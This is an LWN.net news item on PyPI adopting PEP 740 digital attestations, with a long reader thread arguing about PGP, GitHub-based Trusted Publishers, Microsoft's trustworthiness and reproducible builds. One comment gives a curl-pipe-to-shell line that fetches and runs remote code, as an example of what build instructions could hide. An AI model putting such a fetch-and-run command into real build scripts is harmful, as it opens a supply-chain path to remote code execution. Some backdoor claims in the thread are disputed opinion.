PyPI now supports digital attestations [LWN.net]

The Python Package Index (PyPI) has announced that it has finalized support for PEP 740 ("Index support for digital attestations"). Trail of Bits, which performed much of the development work for the implementation, has an in-depth blog post about the work and its adoption, as well as what is left undone:

One thing is notably missing from all of this work: downstream verification. [...]

This isn't an acceptable end state (cryptographic attestations have defensive properties only insofar as they're actually verified), so we're looking into ways to bring verification to individual installing clients. In particular, we're currently working on a plugin architecture for pip that will enable users to load verification logic directly into their pip install flows.

to post comments

PyPI dropped existing support for digital attestations

Posted Nov 14, 2024 22:52 UTC (Thu) by bignose (subscriber, #40) [Link] (49 responses)

The problems with public-key cryptography, particularly the problems of key management, are real. The authors of PEP 740 are addressing a real mis-allocation of effort to package maintainers and PyPI itself. No doubt.

None the less, OpenPGP signed packages were supported by PyPI for digital attestation of the package's authenticity. One problem GnuPG did *not* have is centralised walled-garden control of identity.

PEP 740 is a good specification, but where do package maintainers find an OpenID Connect "Trusted Publisher" that isn't an anti-community corporation like GitHub or GitLab? With GnuPG we, the package maintainer community, have control of our identities, and not the walled platforms.

So, in the absence of a proper community-controlled system of identity that conforms to PEP 740, it's premature to remove the only one we have.

In 2023, PyPI announced:

PyPI has continued to support uploading these signatures in the hope that there might be some systems out there that found them useful. Recently though, an examination of the signatures on PyPI has revealed to us that the current support for PGP signatures is not proving useful.

Again, I agree that those problems are real and needed solving.

What are we meant to replace it with? Centralised platforms controlling our identity? That's no answer.

PyPI dropped existing support for digital attestations

Posted Nov 14, 2024 23:31 UTC (Thu) by milesrout (guest, #126894) [Link] (15 responses)

Also the entire thing is completely nonsensical as far as I can tell. If you use a particular "(Microsoft) Github action" then attestation is AUTOMATIC? What is being attested then? Nothing of value if it is done automatically without any kind of verification provided by the person actually writing the software.

Let us not forget that Microsoft GitHub is owned and operated by a company that is hostile towards free software and always has been. They are also directly under the thumb of the US government and are known to willingly and deliberately insert backdoors into their systems for US government purposes.

That means that Microsoft GitHub, if it can, which it can, will deliberately compromise this "attestation" it provides if it serves the purposes of the US government. It cannot be trusted at all.

PyPI dropped existing support for digital attestations

Posted Nov 15, 2024 0:48 UTC (Fri) by geofft (subscriber, #59789) [Link] (14 responses)

> Also the entire thing is completely nonsensical as far as I can tell. If you use a particular "(Microsoft) Github action" then attestation is AUTOMATIC? What is being attested then? Nothing of value if it is done automatically without any kind of verification provided by the person actually writing the software.

It's attesting that the build process ran entirely on Microsoft GitHub from build instructions in the repo, as opposed to manually on someone's laptop. Remember that PyPI distributes binaries.

> Let us not forget that Microsoft GitHub is owned and operated by a company that is hostile towards free software and always has been. They are also directly under the thumb of the US government and are known to willingly and deliberately insert backdoors into their systems for US government purposes.

Do you have any evidence of this? "Suspected," sure, but "known"?

(Never mind that the threat model of this system is to protect against non-nation-state attackers, and never mind that doing so is worthwhile.)

PyPI dropped existing support for digital attestations

Posted Nov 15, 2024 7:32 UTC (Fri) by gfernandes (subscriber, #119910) [Link] (6 responses)

OK. I'll bite. Remember Netscape? The "cancer" that is the GPL? Embrace, Extend, Extinguish? The SCO lawsuit?

These actually happened, even if you weren't around then...

PyPI dropped existing support for digital attestations

Posted Nov 15, 2024 10:38 UTC (Fri) by randomguy3 (subscriber, #71063) [Link] (5 responses)

none of these are backdoors into a microsoft system, let alone one inserted deliberately at the behest of a goverment (the post you were replying to didn't clarify which of the two things in the quote they were doubting, but i'm pretty sure it was the security-related one!)

as for microsoft's former hostility to open source, they could certainly return to that if they thought it would make them more money to do so, but that would almost certainly be in the form of shutting down a service like this rather than subverting it to upload backdoored packages - that sort of thing doesn't play well with business customers!

PyPI dropped existing support for digital attestations

Posted Nov 16, 2024 8:10 UTC (Sat) by jorgegv (subscriber, #60484) [Link] (1 responses)

https://en.m.wikipedia.org/wiki/NSAKEY

PyPI dropped existing support for digital attestations

Posted Nov 16, 2024 15:41 UTC (Sat) by geofft (subscriber, #59789) [Link]

That's a great article explaining how there's no evidence for it being a backdoor and quite a few reasons to believe it isn't. Thanks for linking it.

PyPI dropped existing support for digital attestations

Posted Nov 23, 2024 7:52 UTC (Sat) by zeehio (guest, #158523) [Link] (2 responses)

Reading this lengthy article about vscode extensions and Microsoft historical and current policies convinced me that Microsoft supports today hostile policies towards open source software and that such hostility is not just a matter of the past. https://ghuntley.com/fracture/

PyPI dropped existing support for digital attestations

Posted Nov 23, 2024 16:44 UTC (Sat) by raven667 (subscriber, #5198) [Link]

That article is a good summary, not everyone can see those business drivers at first glance, but it's clear that is what Electron and Atom which begat VSCode were designed for at Github and part of why MS bought them as they realized that selling software didn't have a future but renting servers and selling services does. I do disagree with some of the conclusions though, they seem to be self-defeatist thinking that the proprietary extensions to VSCode in the MS marketplace will *always* be "better" than FOSS extensions available for VSCodium/Gitlab/etc., giving up on competing with them rather than using the same playing field to build your own ecosystem around the core editor. It's fractured in that Github Codespaces / VSCode Marketplace contains proprietary features, but they never claimed this wasn't a proprietary commercial service, if the rest of the market can collaborate it can build its own ecosystem, there is nothing special that makes the MS language servers for Python or C# unbeatable by other service vendors like Gitlab, certainly no legal issue preventing competing implementations.

PyPI dropped existing support for digital attestations

Posted Nov 26, 2024 12:07 UTC (Tue) by paulj (subscriber, #341) [Link]

That is a very good article with some important observations. Thanks.

PyPI dropped existing support for digital attestations

Posted Nov 15, 2024 9:14 UTC (Fri) by LtWorf (subscriber, #124958) [Link] (5 responses)

> It's attesting that the build process ran entirely on Microsoft GitHub from build instructions in the repo

The build instructions can include a

curl http://mylaptop | sh

so without being offline and reproducible, it isn't very useful.

PyPI dropped existing support for digital attestations

Posted Nov 15, 2024 12:24 UTC (Fri) by geofft (subscriber, #59789) [Link] (1 responses)

If it includes that, then that line of code must be in the repo, and you'll be able to see that it's there. I agree that this measure from PyPI does not solve all possible security problems, such as the upstream author writing insecure code. I disagree that this means the measure is not useful.

PyPI dropped existing support for digital attestations

Posted Nov 15, 2024 13:36 UTC (Fri) by LtWorf (subscriber, #124958) [Link]

You will see it's there and not know what it does.

Then you do a forced push, and remove it from the git history.

PyPI dropped existing support for digital attestations

Posted Dec 6, 2024 19:29 UTC (Fri) by meejah (subscriber, #162580) [Link] (2 responses)

Not _exactly_the same, but this has now happened: https://github.com/ultralytics/ultralytics/issues/18027

Would obviously be _way_ easier if one of the legitimate authors of the package wanted to literally include a "curl" command, as per the above comment.

PyPI dropped existing support for digital attestations

Posted Dec 7, 2024 3:23 UTC (Sat) by LtWorf (subscriber, #124958) [Link] (1 responses)

Cool, I'll be interested in the developments, if they ever get public.

PyPI dropped existing support for digital attestations

Posted Dec 7, 2024 6:18 UTC (Sat) by raven667 (subscriber, #5198) [Link]

In the other thread https://lwn.net/Articles/1001259/ nickodell linked to an analysis https://blog.yossarian.net/2024/12/06/zizmor-ultralytics-... which seems to have a pretty good breakdown of the technical details as well as excors reference to github docs https://docs.github.com/en/actions/security-for-github-ac... asking not to template shell scripts in this way (but not forbidding it either)

PyPI dropped existing support for digital attestations

Posted Nov 16, 2024 16:55 UTC (Sat) by amarao (guest, #87073) [Link]

Should I create a special package which is entirely run on GitHub actions, where runner is opening shell to an external machine and load artifacts from it? And it will be attested and those binaries will have a very special very green mark.

Just to prove the point that this attestation is nothing but introducing Microsoft into trust-me zone.

PyPI dropped existing support for digital attestations

Posted Nov 14, 2024 23:37 UTC (Thu) by NYKevin (subscriber, #129325) [Link] (11 responses)

As far as I can tell, there is no part of the Trusted Publishing standard that is in any way proprietary or secret. In other words, there is no specific technical barrier to someone standing up a "community" publisher (which would presumably be operated in a similar manner to Let's Encrypt) and asking/persuading PyPI to start trusting its OIDC tokens. To the best of my understanding, the current problem is that no such publisher actually exists.

But that raises the next question: Who is going to work on such a thing? Users who are satisfied with centralized crypto are just going to use GitHub or the like, and users who dislike centralization altogether will continue to insist that PGP did nothing wrong and should be reinstated as a signing method. That doesn't leave a lot of people who have both the technical expertise and the motivation to make such a publisher happen. It would also be quite unfair to demand that PyPI or the PSF create such a service, because if no one is willing to work on it, that suggests there might not be much demand for such a publisher in the first place, and the PSF may have better things to do with their time and money.

PyPI dropped existing support for digital attestations

Posted Nov 15, 2024 1:47 UTC (Fri) by tialaramex (subscriber, #21167) [Link]

Also, since this is all in service of _security_ the important question is what _security_ consequences exist for any of these paths and usability is crucial to that.

A solution that's "perfect" but actually nobody will use isn't perfect it's useless. In contrast some fairly weak security that everybody just uses reflexively is fairly effective. And, you can get people used to the idea that they've "always" insisted on security, because that was the default, which makes ratcheting the security a plausible direction once you've got them on board.

PyPI dropped existing support for digital attestations

Posted Nov 15, 2024 9:15 UTC (Fri) by LtWorf (subscriber, #124958) [Link] (9 responses)

If you see the conversation on ycombinator, it looks like they are not willing to add anything that isn't a huge corporation.

PyPI dropped existing support for digital attestations

Posted Nov 15, 2024 10:52 UTC (Fri) by tialaramex (subscriber, #21167) [Link] (7 responses)

Where do you see this? I see a lot of the usual hysteria, and I don't see anybody saying "We represent PyPI / trailofbits/ whatever and here's our stance"

PyPI dropped existing support for digital attestations

Posted Nov 15, 2024 12:11 UTC (Fri) by LtWorf (subscriber, #124958) [Link] (6 responses)

This user works on pypi. https://news.ycombinator.com/item?id=42141092

There's another user in the discussion that works on it as well.

PyPI dropped existing support for digital attestations

Posted Nov 15, 2024 16:23 UTC (Fri) by tialaramex (subscriber, #21167) [Link] (1 responses)

Thanks, I was actually reading a different HN article (about PEP740) not that one so thank you for linking it.

> PyPI isn't required to federate with the server in my basement through OpenID Connect to be considered open source

Doesn't seem to align with your claim that only "a huge corporation" will be federated - they're ruling out the long tail, I'd guess after exhausting experience in previous iterations.

PyPI dropped existing support for digital attestations

Posted Nov 15, 2024 18:46 UTC (Fri) by excors (subscriber, #95769) [Link]

I don't think that statement is ruling out anything at all. It's not saying they _won't_ support any small identity provider, just that that's irrelevant to the question of whether PyPI counts as open source.

They give a more relevant argument against small identity providers in another comment:

> 1. The primary benefit of Trusted Publishing over a manual API token is knowing that the underlying OIDC IdP has an on-call staff, proper key management and rotation policies, etc. These can be guaranteed for GitHub, GitLab, etc., but they're harder to prove for one-off self-hosted CI setups. For the latter case, the user is no better off than they would be with a manual API token, which is still (and will always be) supported.
>
> 2. If the overwhelming majority of traffic comes from a single CI/CD provider, adding more code to support generic OIDC IdPs increases PyPI's attack surface for only marginal user benefit.
>
> There also is no "open interface" for PyPI to really use here: this is all built on OIDC, but each OIDC provider needs to have its unique claims mapped to something intelligible by PyPI. That step requires thoughtful, manual, per-IdP consideration to avoid security issues.

As I understand it, identity is not really the important part - the point is to provide information about the CI/CD process that produced the binary, and that's only useful information when the CI/CD process is known to be sufficiently trustworthy (the binary really is going to be produced from the commit hash it claims, the build servers are unlikely to be compromised, etc). There's no point providing that information about random small CI/CD servers, because downstream package users have no reason to trust that any more than a random binary uploaded by the package's owner (as a 2FA-verified PyPI user using API tokens).

In woodruffw's other comments they say "the current GitHub requirement is an _explicitly temporary_ restriction", and "The plan is to enable GitLab and the other Trusted Publisher providers in short order" (the others currently being ActiveState and Google Cloud; GitLab is only a medium-sized corporation (~2000 employees), and ActiveState is much smaller (~100 employees?)), and the Trusted Publishers "_can_ include any other OIDC IdP if people make a good case for including it". They couldn't be any clearer that this is not going to be just huge corporations.

PyPI dropped existing support for digital attestations

Posted Nov 15, 2024 18:39 UTC (Fri) by NYKevin (subscriber, #129325) [Link] (3 responses)

Frankly, I don't care what some random people said on HN or elsewhere, regardless of who or what they may (claim to) represent. I will believe that this limitation exists after somebody actually does try to stand up a community-driven publishing platform and gets rejected, or when they officially and explicitly document such a limitation somewhere official (in a PEP or in PyPI's documentation, not on HN).

PyPI dropped existing support for digital attestations

Posted Nov 16, 2024 6:04 UTC (Sat) by LtWorf (subscriber, #124958) [Link] (2 responses)

The "random people" are the pypi maintainers. Probably what they say counts a bit more than what you say.

PyPI dropped existing support for digital attestations

Posted Nov 16, 2024 19:17 UTC (Sat) by NYKevin (subscriber, #129325) [Link]

If you're going to respond to my comments, please actually respond to my comments.

> The "random people" are the pypi maintainers.

Repeating myself:

>> I don't care [...], regardless of who or what they may (claim to) represent.

> Probably what they say counts a bit more than what you say.

Repeating myself:

>> I will believe that this limitation exists after somebody actually does try to stand up a community-driven publishing platform and gets rejected, or when they officially and explicitly document such a limitation somewhere official (in a PEP or in PyPI's documentation, not on HN).

PyPI dropped existing support for digital attestations

Posted Nov 17, 2024 16:28 UTC (Sun) by yossarian (guest, #117133) [Link]

I am, in fact, not a PyPI maintainer. Just for the record.

PyPI dropped existing support for digital attestations

Posted Nov 17, 2024 16:27 UTC (Sun) by yossarian (guest, #117133) [Link]

This is a misrepresentation of the conversation on HN: PyPI is willing to support any Trusted Publishing provider that can a set of baselines around user volume and operational security. Those baselines exist because Trusted Publishing has no security benefit at 1-2 person scales; hence the comment about my basement server. "Large" does not mean "corporation."

The guidelines for what PyPI expects in a potential new provider are documented here: https://docs.pypi.org/trusted-publishers/internals/#how-d...

If a large NGO, nonprofit, or community organization wants to become a Trusted Publishing provider, they should file an issue and work with PyPI's maintainers on what implementation will look like.

PyPI dropped existing support for digital attestations

Posted Nov 15, 2024 1:06 UTC (Fri) by geofft (subscriber, #59789) [Link] (10 responses)

OIDC is centralized but I wouldn't say it's walled-garden - anyone can sign up for a GitHub or GitLab account for free, and all that's being attested is the identity of that account. Something like the iOS Store or the Nintendo eShop is what I usually think of as a walled garden, where there are hoops (perhaps monetary) to get on the platform in the first place as well as significant manual review of what you publish with that platform. That doesn't apply here.

And it looks like part of the goal here is to automate checks. PGP that has worked in an automated fashion has only ever been centralized, too, in the form of distros like Debian or Arch maintaining a keyring of the people allowed to sign packages. When upstream authors use PGP, it's usually a trust-on-first-use system to find their key and then a pretty manual process to verify updates if they are unable to keep using that original key - and that process usually devolves to other authority-based certification services like a post on an HTTPS website or a statement on Twitter or GitHub.

In other words, I think it's true that you can use PGP in a decentralized way, and that PyPI allowed PGP signatures, but I'm skeptical that people were previously verifying PyPI signatures in a decentralized way.

OIDC is a relatively straightforward protocol, and if someone wants to set up a service that manages the problem of updating keys, I think it would not be hard to write something that accepts a PGP-signed package and provides the OIDC attestation in the technical form PyPI would accept. (If you got some Linux distro to run this, I feel like you'd have a good chance of convincing them to add it as a trusted publisher.) The advantage of that system is that you're no longer demanding that the end user or even PyPI have a process for handling updating keys. You come up with one on your own, and PyPI, and eventually pip, can just look up the current key for whatever string username is associated with the package and return an automated and deterministic verdict.

PyPI dropped existing support for digital attestations

Posted Nov 15, 2024 1:55 UTC (Fri) by bignose (subscriber, #40) [Link] (9 responses)

anyone can sign up for a GitHub or GitLab account for free, and all that's being attested is the identity of that account. Something like the iOS Store or the Nintendo eShop is what I usually think of as a walled garden

Yes, all of those platforms you mention (GitHub, GitLab, iOS Store, Nintendo eShop) are walled gardens, as contrasted with the normal open web.

Making participation mandatory on having one's identity enclosed by a walled garden, is antithetical to community control and sovereignty. We need less power in the hands of corporate masters, not more.

Where on the open web can we find a "Trusted Publisher" that will satisfy PyPI requirements? If it's only the closed-platform walled-garden providers, then it doesn't matter whether OpenID Connect *could* in principle be implemented elsewhere. If PyPI will only accept closed-platform walled-garden providers, that constitutes a demand that we hand control of our identity to a close platform, or not participate.

If the issue is "yes it *could* be done on the open web but that hasn't happened yet", great! Let's make that happen, but don't call it open or free until then, and don't take away existing, community-controlled digital attestation when there isn't a community-controlled replacement.

PyPI dropped existing support for digital attestations

Posted Nov 15, 2024 2:09 UTC (Fri) by Cyberax (✭ supporter ✭, #52523) [Link] (8 responses)

> Where on the open web can we find a "Trusted Publisher" that will satisfy PyPI requirements?

Right here: https://docs.pypi.org/trusted-publishers/internals/ , scroll down to "How do I become a Trusted Publishing provider?"

PyPI dropped existing support for digital attestations

Posted Nov 15, 2024 2:22 UTC (Fri) by bignose (subscriber, #40) [Link] (7 responses)

> > Where on the open web can we find a "Trusted Publisher" that will satisfy PyPI requirements?

> Right here: https://docs.pypi.org/trusted-publishers/internals/

That does not show any existing Trusted Providers with user control over their identity, as I asked for. (Because it does not show any Trusted Providers at all.)

The issue I'm raising is not "how do I, a hosting provider, create a new Trusted Provider and get it accepted by PyPI?".

The issue I'm raising is: there was community-controlled, user-sovereign identity. Flawed, of course, but it was ours, not a closed platform. In 2023 it was taken away (for problems that, I've repeatedly said, were real and needed to be addressed).

Apparently that was removed without any community-controlled, user-sovereign replacement. And still I don't see any that PyPI has, in fact, accepted. Where are they? If they don't exist, yet the one we had was removed, then *that's* the issue I'm pointing to.

Removing support for the existing community-controlled, user-sovereign identity, and expecting that people will just use the closed-platform providers, sucks the urgency to come up with a proper community controlled replacement because most people will just accept the closed web solution. Which is how it becomes worse, not better.

PyPI dropped existing support for digital attestations

Posted Nov 15, 2024 4:32 UTC (Fri) by Cyberax (✭ supporter ✭, #52523) [Link] (6 responses)

Feel free to start an OIDC provider, with a sufficient backing behind it. Heck, ask the FSF to host it and put their reputation behind it.

> The issue I'm raising is: there was community-controlled, user-sovereign identity. Flawed, of course, but it was ours, not a closed platform.

Actually, it was not "yours". It belongs to the Python Software Foundation, that is acting in accordance with its founding principles. They decided (after a very public deliberation and feedback) that the supply chain security is more important than ideological purity as advocated by a minority of users.

PyPI dropped existing support for digital attestations

Posted Nov 15, 2024 5:07 UTC (Fri) by bignose (subscriber, #40) [Link] (5 responses)

> Feel free to start an OIDC provider, with a sufficient backing behind it.

I'll take that as confirmation that no, there is no such thing today. Which confirms the issue I raised: the existing community-controlled identity system was dropped (for good reason), with no community-controlled replacement (because the PSF decided centralised, proprietary, platform-controlled solutions are good enough). And no evident plan to fix that, not then and not now.

The absence of a new solution is not the PSF's fault nor responsibility. The *removal of the existing system*, while there was and is no equivalent community-controlled replacement, is their responsibility and is the issue I'm glad to see we agree is true.

> Actually, it was not "yours". It belongs to the Python Software Foundation

The GnuPG web of trust (https://en.wikipedia.org/wiki/Web_of_trust) is the identity solution we still have but the Python Software Foundation decided to stop supporting (again: for good reasons!) in 2023. If you think that belonged to the Python Software Foundation, I think this discussion isn't going anywhere useful.

PyPI dropped existing support for digital attestations

Posted Nov 15, 2024 19:02 UTC (Fri) by Cyberax (✭ supporter ✭, #52523) [Link] (4 responses)

> The absence of a new solution is not the PSF's fault nor responsibility. The *removal of the existing system*, while there was and is no equivalent community-controlled replacement, is their responsibility and is the issue I'm glad to see we agree is true.

What exactly is _removed_? You can still sign your packages and upload signatures (.asc files). If you want, you can trivially use only packages only with GPG signatures attached.

> The GnuPG web of trust (https://en.wikipedia.org/wiki/Web_of_trust) is the identity solution

GPG WoT is _not_ an identity solution. It's a useless nerd social network, nothing more.

Moreover, it does not protect against the threats that the PSF cares about: attacks on developers' machines and/or credential leakages. PSF explicitly wants to have a 2FA to avoid persistent compromises, and GPG does nothing for that. While PGP keys can be stored in a hardware trust store, there is no mechanism to verify that.

It got so bad, that two thirds of all GPG signatures on PyPi could not be validated to come from a meaningfully verified key: https://blog.yossarian.net/2023/05/21/PGP-signatures-on-P...

PyPI dropped existing support for digital attestations

Posted Nov 18, 2024 2:41 UTC (Mon) by meejah (subscriber, #162580) [Link] (3 responses)

> What exactly is _removed_? You can still sign your packages and upload signatures (.asc files). If you want, you can trivially use only packages only with GPG signatures attached.

No you can't, signatures are rejected now.

PyPI dropped existing support for digital attestations

Posted Nov 18, 2024 16:25 UTC (Mon) by Cyberax (✭ supporter ✭, #52523) [Link] (2 responses)

Just tried with my package. It worked fine.

PyPI dropped existing support for digital attestations

Posted Nov 18, 2024 16:37 UTC (Mon) by mb (subscriber, #50428) [Link]

PyPi used to have special support for uploading signatures *associated* with a package and (if I remember correctly) it had support for uploading your public key to associate it with your account.
That functionality has been removed.

Of course, you can probably still upload an asc file that file may be a signature. But that's your own convention. It's not really machine readable and everybody will do it slightly differently.

Removing this feature was a very bad idea.

PyPI dropped existing support for digital attestations

Posted Nov 22, 2024 18:58 UTC (Fri) by meejah (subscriber, #162580) [Link]

Define "worked fine"? It accepts the upload but then sends you an email saying it was ignored and doesn't serve the file.

PyPI dropped existing support for digital attestations

Posted Nov 15, 2024 1:39 UTC (Fri) by Cyberax (✭ supporter ✭, #52523) [Link] (4 responses)

> One problem GnuPG did *not* have is centralised walled-garden control of identity.

GPG is useless against the threats that digital attestations try to counter.

PIP wants to make sure that the binary packages are traceable, and that the users submitting them are authenticated with 2FA. GPG provides neither.

PyPI dropped existing support for digital attestations

Posted Nov 15, 2024 9:19 UTC (Fri) by LtWorf (subscriber, #124958) [Link] (3 responses)

Github is just as useless I think.

PyPI dropped existing support for digital attestations

Posted Nov 15, 2024 19:23 UTC (Fri) by Cyberax (✭ supporter ✭, #52523) [Link] (2 responses)

The idea is that you can go from a binary package to a CI/CD run that produced it, and from that run to the source code used to trigger it. All of it cryptographically verified, so that subverting this must mean that Github is conspiring with the attackers.

The idea is that Github has the reputation and money on the line. If it turns out that Github tampered (or was negligent) with the customers' credentials and/or build environments, they will suffer multi-million losses as customers start moving away from an untrusted platform.

PyPI dropped existing support for digital attestations

Posted Nov 16, 2024 6:05 UTC (Sat) by LtWorf (subscriber, #124958) [Link] (1 responses)

There would be some social media buzz, and it'd be forgotten in a week.

How's crowdstrike doing these days? How many users did they lose?

PyPI dropped existing support for digital attestations

Posted Nov 16, 2024 7:49 UTC (Sat) by Cyberax (✭ supporter ✭, #52523) [Link]

CircleCI had a compromise, and they lost quite a few customers (us included). Crowdstrike was not a compromise, but just a screwup.

And yeah, they are being sued by Delta and others.

PyPI dropped existing support for digital attestations

Posted Nov 15, 2024 11:06 UTC (Fri) by quotemstr (subscriber, #45331) [Link] (4 responses)

> anti-community corporation like GitHub or GitLab

Considering that the vast majority of free software development occurs on these platforms, calling them "anti-community corporations" strikes me as a fringe position unlikely to spark meaningful change. Ecosystem shifts require a big tent approach, not the kind of ideological purity that generates statements not concordant with most people's day-to-day experience.

PyPI dropped existing support for digital attestations

Posted Nov 15, 2024 11:22 UTC (Fri) by LtWorf (subscriber, #124958) [Link] (3 responses)

> Considering that the vast majority of free software development occurs on these platforms

Does it?

They host most of the 1 person projects, but most of the bigger projects are not on those.

PyPI dropped existing support for digital attestations

Posted Nov 15, 2024 19:19 UTC (Fri) by Cyberax (✭ supporter ✭, #52523) [Link] (2 responses)

That's actually an interesting question. I checked random open source projects that came to mind. On Github: K8s, Docker, HomeAssistant, nginx, golang, Rust, FireFox. Not on Github: LibreOffice, GNU stuff, musl, Chromium.

So yep, Github is definitely one of the central places for the development community.

PyPI dropped existing support for digital attestations

Posted Nov 16, 2024 6:08 UTC (Sat) by LtWorf (subscriber, #124958) [Link] (1 responses)

You didn't check very well though.

I just opened ONE of the projects you listed and the description calls it a mirror and contains a link to the real place they use.

PyPI dropped existing support for digital attestations

Posted Nov 16, 2024 7:47 UTC (Sat) by Cyberax (✭ supporter ✭, #52523) [Link]

Which one? Firefox is in the process of moving: https://groups.google.com/a/mozilla.org/g/firefox-dev/c/Q...

PyPi broke it

Posted Nov 15, 2024 7:09 UTC (Fri) by mb (subscriber, #50428) [Link] (2 responses)

> Upon review of the state of historical PGP signatures published to PyPI, we found that many signatures were not verifiable,

The correct solution to this problem would have been to check the signatures on upload and reject the upload if it failed.
PyPi decided to completely break signatures for everybody instead. Bad solution.

>By signing attestations with identities, and not a public/private key pair, we mitigate the potential for an
>individual's key loss or compromise

No, it doesn't.
Changes to a github repo are still pushed with a simple pubic/private key (SSH) that can be compromised.
And also the Microsoft Github build farm can be compromised and therefore compromise all PyPi projects.

By removing support for the *second* public/private key pair (PGP) PyPi made things worse, security wise.

PyPi broke it

Posted Nov 15, 2024 18:49 UTC (Fri) by NYKevin (subscriber, #129325) [Link] (1 responses)

> The correct solution to this problem would have been to check the signatures on upload and reject the upload if it failed.

Fully automated verification can't help with:

* Keys expiring and falling out of keyservers.
* Keys getting revoked after the fact (due to compromise or user error).
* Determining whether a key that is labeled "John Doe" really is controlled by a human who really is named John Doe.
* Determining whether "John Doe" is the John Doe that end users expect to see, or a different person coincidentally named John Doe.

The last two bullets make the whole thing an exercise in futility, since if you don't have either of those guarantees, then what guarantees you do have are largely meaningless. This is the fundamental failing of PGP - it has never had a reasonable story for solving either of those problems.

(No, a web of trust, by itself, is not a solution, because it is a recursive definition of trust that provides no base case. At some point, you must have one or more trust anchors of some kind, and if you're going to make that concession anyway, a centralized PKI is much less hassle to build out.)

PyPi broke it

Posted Nov 18, 2024 6:06 UTC (Mon) by meejah (subscriber, #162580) [Link]

You can get OpenPGP public keys for particular users from GitHub.

Reproducible builds?

Posted Nov 15, 2024 7:24 UTC (Fri) by pabs (subscriber, #43278) [Link]

Wonder when PyPI will be doing bootstrappable and reproducible builds.

https://bootstrappable.org/ https://reproducible-builds.org/

tech fund?

Posted Nov 15, 2024 9:22 UTC (Fri) by LtWorf (subscriber, #124958) [Link] (13 responses)

The blog post says that the work got partially funded with the sovreign tech fund. AKA Germany's money to support open source.

I think it's a scandal that public money is being used to increase tie in with USA corporations (there is no evidence that a self-hosted community driven OIDC will ever be allowed).

I don't know what the precise terms for the grant were, and if there's any basis to call this a "crime", but I'm quite sure this is not what the fund is for.

tech fund?

Posted Nov 15, 2024 12:46 UTC (Fri) by excors (subscriber, #95769) [Link] (11 responses)

The grant is https://www.sovereign.tech/tech/python-package-index which includes:

> the Sigstore integrations will help protect the Python, Ruby, and Rust ecosystems from supply chain attacks. The German Federal Ministry of Information Security declared these as one of the top three threats to the economy in its 2022 report on the situation of IT Security in Germany.

> Sigstore is an open source project that allows developers and users to sign and verify code. This work would align Warehouse [PyPI] with the overall package management ecosystem shift towards sigstore, and away from ad-hoc PGP signatures, and further securing the software supply chain for downstream users. Furthermore, the development of a unified packaging client policy across ecosystems and improvements to the Rust and Ruby sigstore clients will help bring more value to the sigstore ecosystem, and encourage adoption of this new effort among FOSS software developers.

so this work is exactly what the grant was for. And the federal budget plan said: (https://www.bundeshaushalt.de/static/daten/2023/soll/epl0... via Google Translate)

> From 2023, funds of up to €10 million will be made available for the implementation and further development of the Sovereign Tech Fund (STF). The project aims to promote and secure open source basic technologies. The open source ecosystem should also be made more resilient against external attacks. A rapid implementation of the STF will strengthen cyber security and resilience across the German economy.

so grants focused on practical improvements to the security of open source infrastructure sound like exactly what the STF is for. The STF isn't trying to support the open source community for its own sake, they're trying to support it because modern society (individuals, businesses, governments) depend heavily on fragile open source foundations which need funding to be made more robust. There might be disagreements about how best to achieve that, but this all seems in line with their goals.

tech fund?

Posted Nov 15, 2024 14:32 UTC (Fri) by leromarinvit (subscriber, #56850) [Link] (7 responses)

> so grants focused on practical improvements to the security of open source infrastructure sound like exactly what the STF is for. The STF isn't trying to support the open source community for its own sake, they're trying to support it because modern society (individuals, businesses, governments) depend heavily on fragile open source foundations which need funding to be made more robust. There might be disagreements about how best to achieve that, but this all seems in line with their goals.

The goals of this project seem to align with the goals of the STF. However, the implementation effectively replaces all the problems of the web of trust (which certainly do exist) with all the problems of a CA-based system. Any "Trusted Publisher" now has the ability to subvert any package that is configured to accept builds signed with its keys. Even without any ill intent on the part of the publisher itself, they are all beholden to the laws of whichever country they operate in.

So GitHub (or any other US Trusted Publisher) is one National Security Letter away from *having to* subvert packages at the behest of whatever lunatic may hold the power to issue such letters at any point, and being explicitly forbidden to tell anyone about it. Other countries may have similar procedures, openly so or at least in practice (also: https://xkcd.com/538/).

A "Sovereign Tech Fund" spending money to put itself into that position seems oddly bizarre.

tech fund?

Posted Nov 15, 2024 17:02 UTC (Fri) by kleptog (subscriber, #1183) [Link] (6 responses)

Sure, but the solution to that isn't "allow GPG signed uploads". The solution to that is logging, auditing and transparency. As long it clear who is uploading what, that's the best you can do. The same idea as Certificate Transparency.

Honestly, I don't think the biggest risk is subverting a Trusted Publisher. The weakest link is and remains developers getting hacked and having malicious code uploaded to repositories. Especially to the base images used for builders.

Also, why would you send an NSL to Microsoft to subvert a package upload, when you could just send the letter to PyPI instead? Much easier target. After all, Microsoft has billions of dollars of business depending on their builders being secure. PyPI can't defend itself at all.

tech fund?

Posted Nov 15, 2024 17:32 UTC (Fri) by bluca (subscriber, #118303) [Link] (2 responses)

This is especially true when considering that, due to the lack of such basic safety measures, PyPI is _currently servicing malware_ all over the place. On the other hand all the FUD about "evil Micro$oft backdooring Github to kill open source" only exists in the imagination of a handful of nerds, who were traumatized in the late 90s and haven't really been able to move on, while the rest of the world - and the OSS ecosystem - largely has.

tech fund?

Posted Nov 15, 2024 20:08 UTC (Fri) by leromarinvit (subscriber, #56850) [Link] (1 responses)

> PyPI is _currently servicing malware_ all over the place

Is it? Where does that malware come from? Deliberately uploaded by malicious developers, or using stolen credentials? I don't really see any way to defend against that - you can do the same with CI builds from GitHub actions.

Is developer workstations being infected with malware that then backdoors PyPI uploads really that widespread a problem? If so, I agree that's bad and something should be done about it.

I'm not too worried about "evil Micro$oft backdooring Github to kill open source" - I don't see any way deliberately pulling such a stunt would ever make business sense for them (this seems rather more like corporate suicide). I'm quite a bit more worried about unscrupulous people in positions of power, who'll use whatever tool they have at their disposal to harass their chosen "scapegoats for everything wrong under the sun", or simply enrich themselves - with no regard for collateral damage. Entirely hypothetical situation that would never ever happen in practice, of course.

I think reproducible builds can help solving both problems. If you just move the responsibility to not get your build system hacked to $BIGCORP (be that MS or someone else), you're still trusting someone to be competent. To my knowledge, there isn't a single $BIGCORP in the world that doesn't employ fallible human beings. Even if the security team there is much more competent at their job than average Joe Developer, that central trusted build system is an infinitely more attractive target than any individual developer system.

With reproducible builds, in the most minimal configuration, developers could compare the CI build result to the expected hash and cry foul if it doesn't match (after checking their local build systems of course). A stricter mode I could imagine would only accept uploads if a) they come from the "trusted" CI system, and b) if the resulting build's hash matches the expected one uploaded and signed by the developer. That way, one can be reasonably confident that the build contains exactly what the developer intended, without implicitly trusting either the developer's build system to be secure, or the CI provider not changing the build artifacts in any unexpected way.

tech fund?

